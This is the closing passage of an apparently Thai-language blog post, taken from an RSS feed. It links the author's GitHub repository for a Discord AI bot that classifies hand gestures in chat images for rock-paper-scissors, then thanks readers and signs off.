&lt;p&gt;หรือทุกคนสามารถไปดูที่ Github ของผมได้นะ ผมอธิบายวิธีการใช้ไว้แล้ว&lt;/p&gt;
&lt;h2&gt;[GitHub - ShoIsMyName/Discord-AI-bot-Image-detection: This Discord AI bot will read all the images…&lt;/h2&gt;
&lt;h3&gt;This Discord AI bot will read all the images in chat and predict whether the hand in the image is a hammer, paper, or…&lt;/h3&gt;
&lt;p&gt;github.com](https://github.com/ShoIsMyName/Discord-AI-bot-Image-detection?source=post_page-----7a169452d4ed---------------------------------------)&lt;/p&gt;
&lt;p&gt;สุดท้ายนี้ขอบคุณทุกคนที่เข้ามาอ่านนะครับ กู๊ดดบายยเฮียยย!!~~~&lt;/p&gt;
</content:encoded></item></channel></rss>